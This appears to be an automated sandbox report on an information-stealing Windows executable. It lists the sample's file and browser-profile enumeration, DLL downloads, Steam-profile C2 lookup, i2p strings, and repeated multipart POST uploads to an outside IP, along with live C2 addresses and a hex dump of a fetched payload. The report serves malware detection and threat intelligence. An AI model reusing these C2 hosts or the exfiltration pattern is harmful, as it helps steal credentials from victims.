Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.400000.0.unpack

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\euasv89vr56qz5toefmgc1.exe

File created: C:\Users\user\AppData\Local\Temp\installer.log

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 23.192.247.89:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 5.75.212.60:443 -> 192.168.2.6:49714 version: TLS 1.2

Source:	Binary string: freebl3.pdb source: file.exe, 00000000.00000002.2771309518.0000000023AAE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmp, file.exe, 00000000.00000002.2773812386.0000000029A18000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: freebl3.pdbp source: file.exe, 00000000.00000002.2771309518.0000000023AAE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2783489358.00000000417CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2788533136.000000006CA1F000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: softokn3.pdb@ source: file.exe, 00000000.00000002.2778975346.00000000358FF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: RfxVmt.pdb source: BFCAAEHJDB.exe, 00000007.00000003.2859028722.00000000044A4000.00000004.00000020.00020000.00000000.sdmp, BFCAAEHJDB.exe, 00000007.00000003.2850857977.00000000044A2000.00000004.00000020.00020000.00000000.sdmp, euasv89vr56qz5toefmgc1.exe, 0000000E.00000000.2871865920.00007FF67096E000.00000008.00000001.01000000.0000000C.sdmp, main.exe, 00000017.00000002.3440296730.000001E398B72000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: file.exe, 00000000.00000002.2781145830.000000003B860000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: file.exe, 00000000.00000002.2776697381.000000002F98F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2783489358.00000000417CC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2788533136.000000006CA1F000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmp, file.exe, 00000000.00000002.2773812386.0000000029A18000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: file.exe, 00000000.00000002.2768266325.000000001B807000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2767419498.00000000191C8000.00000002.00001000.00020000.00000000.sdmp
Source:	Binary string: RfxVmt.pdbGCTL source: BFCAAEHJDB.exe, 00000007.00000003.2859028722.00000000044A4000.00000004.00000020.00020000.00000000.sdmp, BFCAAEHJDB.exe, 00000007.00000003.2850857977.00000000044A2000.00000004.00000020.00020000.00000000.sdmp, euasv89vr56qz5toefmgc1.exe, 0000000E.00000000.2871865920.00007FF67096E000.00000008.00000001.01000000.0000000C.sdmp, main.exe, 00000017.00000002.3440296730.000001E398B72000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softokn3.pdb source: file.exe, 00000000.00000002.2778975346.00000000358FF000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDA3896DF3 LocalAlloc,wcsncpy,LookupAccountNameW,GetLastError,GetLastError,LocalAlloc,LookupAccountNameW,LocalFree,GetLastError,ConvertSidToStringSidA,GetLastError,wcslen,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,NetApiBufferFree,NetUserEnum,GetProcessHeap,HeapAlloc,memcpy,GetProcessHeap,HeapFree,		23_2_00007FFDA3896DF3
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDA3896DAF NetApiBufferFree,NetUserEnum,GetProcessHeap,HeapAlloc,memcpy,GetProcessHeap,HeapFree,		23_2_00007FFDA3896DAF

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401110 FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,LoadLibraryW,CopyFileA,DeleteFileA,FindNextFileA,FindClose,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00401110
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004099F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_004099F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040A2C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0040A2C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004156C0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	0_2_004156C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040C2E0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040C2E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00415EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00415EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00414F80 wsprintfA,FindFirstFileA,memset,memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,memset,lstrcatA,strtok_s,strtok_s,memset,lstrcatA,strtok_s,PathMatchSpecA,DeleteFileA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,strtok_s,FindNextFileA,FindClose,	0_2_00414F80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040B390 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040B390
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00409D40 StrCmpCA,FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00409D40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00415A70 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	0_2_00415A70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040AAB0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0040AAB0
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FF6209447F3 FindNextFileA,_mbscpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	23_2_00007FF6209447F3
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDA389A0D3 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	23_2_00007FFDA389A0D3
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDA38C1883 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	23_2_00007FFDA38C1883
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDAC0A5BF3 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	23_2_00007FFDAC0A5BF3
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDAC0D5803 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	23_2_00007FFDAC0D5803
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDAC0F5253 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	23_2_00007FFDAC0F5253
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: 23_2_00007FFDAC122FE3 FindNextFileA,strcpy,FindFirstFileA,GetLastError,GetLastError,FindClose,	23_2_00007FFDAC122FE3

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004153C0 GetLogicalDriveStringsA,memset,GetDriveTypeA,lstrcpyA,lstrcpyA,lstrcpyA,lstrlenA,

0_2_004153C0

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://steamcommunity.com/profiles/76561199747278259

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 45.8.98.78 ports 19063,0,1,3,6,9
Source: global traffic	TCP traffic: 204.8.84.94 ports 20578,0,2,5,7,8
Source: global traffic	TCP traffic: 68.148.96.106 ports 12385,1,2,3,5,8
Source: global traffic	TCP traffic: 82.165.57.155 ports 27813,1,2,3,7,8
Source: global traffic	TCP traffic: 68.53.161.168 ports 13749,1,3,4,7,9
Source: global traffic	TCP traffic: 73.62.1.179 ports 17850,0,1,5,7,8

Found Tor onion address

Source: BFCAAEHJDB.exe, 00000007.00000003.2859028722.000000000437F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed2.i2p.net/,https://reseed.diva.exchange/,https://reseed-fr.i2pd.xyz/,https://reseed.memcpy.io/,https://reseed.onion.im/,https://i2pseed.creativecowpat.net:8443/,https://reseed.i2pgit.org/,https://banana.incognet.io/,https://reseed-pl.i2pd.xyz/,https://www2.mk16.de/,https://i2p.ghativega.in/,https://i2p.novg.net/
Source: BFCAAEHJDB.exe, 00000007.00000003.2850857977.000000000437D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed2.i2p.net/,https://reseed.diva.exchange/,https://reseed-fr.i2pd.xyz/,https://reseed.memcpy.io/,https://reseed.onion.im/,https://i2pseed.creativecowpat.net:8443/,https://reseed.i2pgit.org/,https://banana.incognet.io/,https://reseed-pl.i2pd.xyz/,https://www2.mk16.de/,https://i2p.ghativega.in/,https://i2p.novg.net/
Source: euasv89vr56qz5toefmgc1.exe, 0000000E.00000000.2871865920.00007FF67096E000.00000008.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://reseed2.i2p.net/,https://reseed.diva.exchange/,https://reseed-fr.i2pd.xyz/,https://reseed.memcpy.io/,https://reseed.onion.im/,https://i2pseed.creativecowpat.net:8443/,https://reseed.i2pgit.org/,https://banana.incognet.io/,https://reseed-pl.i2pd.xyz/,https://www2.mk16.de/,https://i2p.ghativega.in/,https://i2p.novg.net/
Source: main.exe	String found in binary or memory: https://reseed2.i2p.net/,https://reseed.diva.exchange/,https://reseed-fr.i2pd.xyz/,https://reseed.memcpy.io/,https://reseed.onion.im/,https://i2pseed.creativecowpat.net:8443/,https://reseed.i2pgit.org/,https://banana.incognet.io/,https://reseed-pl.i2pd.xyz/,ht
Source: main.exe, 00000017.00000002.3442752199.00007FFD940A4000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: https://reseed2.i2p.net/,https://reseed.diva.exchange/,https://reseed-fr.i2pd.xyz/,https://reseed.memcpy.io/,https://reseed.onion.im/,https://i2pseed.creativecowpat.net:8443/,https://reseed.i2pgit.org/,https://banana.incognet.io/,https://reseed-pl.i2pd.xyz/,https://www2.mk16.de/,https://i2p.ghativega.in/,https://i2p.novg.net/
Source: main.exe, 00000017.00000002.3440296730.000001E398B72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed2.i2p.net/,https://reseed.diva.exchange/,https://reseed-fr.i2pd.xyz/,https://reseed.memcpy.io/,https://reseed.onion.im/,https://i2pseed.creativecowpat.net:8443/,https://reseed.i2pgit.org/,https://banana.incognet.io/,https://reseed-pl.i2pd.xyz/,https://www2.mk16.de/,https://i2p.ghativega.in/,https://i2p.novg.net/
Source: main.exe, 00000017.00000002.3441085501.000001E398F9D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://reseed2.i2p.net/,https://reseed.diva.exchange/,https://reseed-fr.i2pd.xyz/,https://reseed.memcpy.io/,https://reseed.onion.im/,https://i2pseed.creativecowpat.net:8443/,https://reseed.i2pgit.org/,https://banana.incognet.io/,https://reseed-pl.i2pd.xyz/,https://www2.mk16.de/,https://i2p.ghativega.in/,https://i2p.novg.net/
Source: KXEmxT2p.23.dr	String found in binary or memory: https://reseed2.i2p.net/,https://reseed.diva.exchange/,https://reseed-fr.i2pd.xyz/,https://reseed.memcpy.io/,https://reseed.onion.im/,https://i2pseed.creativecowpat.net:8443/,https://reseed.i2pgit.org/,https://banana.incognet.io/,https://reseed-pl.i2pd.xyz/,https://www2.mk16.de/,https://i2p.ghativega.in/,https://i2p.novg.net/

Source: unknown

Network traffic detected: IP country count 12

Source: global traffic	TCP traffic: 192.168.2.6:49745 -> 91.92.250.213:1110
Source: global traffic	TCP traffic: 192.168.2.6:49758 -> 91.224.234.189:50444
Source: global traffic	TCP traffic: 192.168.2.6:49759 -> 81.6.45.56:33834
Source: global traffic	TCP traffic: 192.168.2.6:49760 -> 99.252.52.199:17541
Source: global traffic	TCP traffic: 192.168.2.6:49761 -> 68.148.96.106:12385
Source: global traffic	TCP traffic: 192.168.2.6:49762 -> 209.99.203.131:34320
Source: global traffic	TCP traffic: 192.168.2.6:49763 -> 70.18.38.5:28737
Source: global traffic	TCP traffic: 192.168.2.6:49764 -> 73.62.1.179:17850
Source: global traffic	TCP traffic: 192.168.2.6:49765 -> 45.8.98.78:19063
Source: global traffic	TCP traffic: 192.168.2.6:49766 -> 184.185.247.130:9859
Source: global traffic	TCP traffic: 192.168.2.6:49767 -> 82.165.57.155:27813
Source: global traffic	TCP traffic: 192.168.2.6:49768 -> 204.8.84.94:20578
Source: global traffic	TCP traffic: 192.168.2.6:49769 -> 5.64.137.68:11737
Source: global traffic	TCP traffic: 192.168.2.6:49770 -> 24.92.16.253:16063
Source: global traffic	TCP traffic: 192.168.2.6:49771 -> 91.149.237.69:26412
Source: global traffic	TCP traffic: 192.168.2.6:49772 -> 68.119.203.48:9756
Source: global traffic	TCP traffic: 192.168.2.6:49773 -> 68.53.161.168:13749
Source: global traffic	TCP traffic: 192.168.2.6:49774 -> 119.13.124.67:29762
Source: global traffic	UDP traffic: 192.168.2.6:14604 -> 95.165.139.85:43117
Source: global traffic	UDP traffic: 192.168.2.6:14604 -> 194.87.219.156:19047
Source: global traffic	UDP traffic: 192.168.2.6:14604 -> 75.97.173.28:14634
Source: global traffic	UDP traffic: 192.168.2.6:14604 -> 73.38.186.219:20033
Source: global traffic	UDP traffic: 192.168.2.6:14604 -> 173.230.128.232:26930
Source: global traffic	UDP traffic: 192.168.2.6:14604 -> 130.185.251.21:18735
Source: global traffic	UDP traffic: 192.168.2.6:14604 -> 67.166.47.100:15536
Source: global traffic	UDP traffic: 192.168.2.6:14604 -> 186.28.6.171:15230
Source: global traffic	UDP traffic: 192.168.2.6:14604 -> 91.194.11.174:19248
Source: global traffic	UDP traffic: 192.168.2.6:14604 -> 139.59.20.27:14719
Source: global traffic	UDP traffic: 192.168.2.6:14604 -> 24.124.34.93:27057
Source: global traffic	UDP traffic: 192.168.2.6:14604 -> 216.9.179.60:25750

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKContent-Type: application/octet-streamLast-Modified: Wed, 24 Jul 2024 07:28:22 GMTAccept-Ranges: bytesETag: "40ef51109bddda1:0"Server: Microsoft-IIS/10.0Date: Fri, 26 Jul 2024 09:27:04 GMTContent-Length: 11989504Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 36 34 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 0b 00 0a a1 a0 66 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 08 00 00 c2 8b 00 00 2c 2b 00 00 00 00 00 a0 d0 8b 00 00 10 00 00 00 00 40 00 00 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 05 00 02 00 05 00 02 00 00 00 00 00 00 60 b9 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 20 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 60 9a 00 99 00 00 00 00 60 99 00 22 50 00 00 00 e0 a8 00 00 7c 10 00 00 10 a2 00 9c c9 06 00 00 00 00 00 00 00 00 00 00 90 9a 00 9c 7f 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 9a 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 74 99 00 00 13 00 00 00 c0 99 00 0c 91 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 30 c1 8b 00 00 10 00 00 00 c2 8b 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 a8 7d 0b 00 00 e0 8b 00 00 7e 0b 00 00 c6 8b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 2c f1 01 00 00 60 97 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 22 50 00 00 00 60 99 00 00 52 00 00 00 44 97 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 69 64 61 74 61 00 0c 91 00 00 00 c0 99 00 00 92 00 00 00 96 97 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 65 64 61 74 61 00 00 99 00 00 00 00 60 9a 00 00 02 00 00 00 28 98 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 e4 01 00 00 00 70 9a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 72 64 61 74 61 00 00 6d 00 00 00 00 80 9a 00 00 02 00 00 00 2a 98 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 9c 7f 07 00 00 90 9a 00 00 80 07 00 00 2c 98 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 70 64 61 74 61 00 00 9c c9 06 00 00 10 a2 00 00 ca 06 00 00 ac 9f 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic

HTTP traffic detected: GET /profiles/76561199747278259 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 23.192.247.89 23.192.247.89
Source: Joe Sandbox View	IP Address: 77.91.101.71 77.91.101.71

Source: Joe Sandbox View	JA3 fingerprint: 51c64c77e60f3980eea90869b68c58a8
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JDAKJDAAFBKFHIEBFCFBUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 279Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAAEGIJKEGHIDGCBAEBUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDBAFIIECBFHIEBKJJKUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKKKFCFHCFIECBGDHIDUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 332Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBGHDGHCGHCAAKFIIECUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 7901Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqls.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HIJJEGDBFIIDGCAKJEBKUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 829Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKEGIJEHJDGDHJKJKKJUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JJDBFCAEBFIJJKFHDAECUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FBGHCGCAEBFIJKFIDBGHUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAEGCBFHJDGCBFHDAFBUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FIECFBAAAFHIIDGCGCBFUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36Host: 5.75.212.60Content-Length: 457Connection: Keep-AliveCache-Control: no-cache
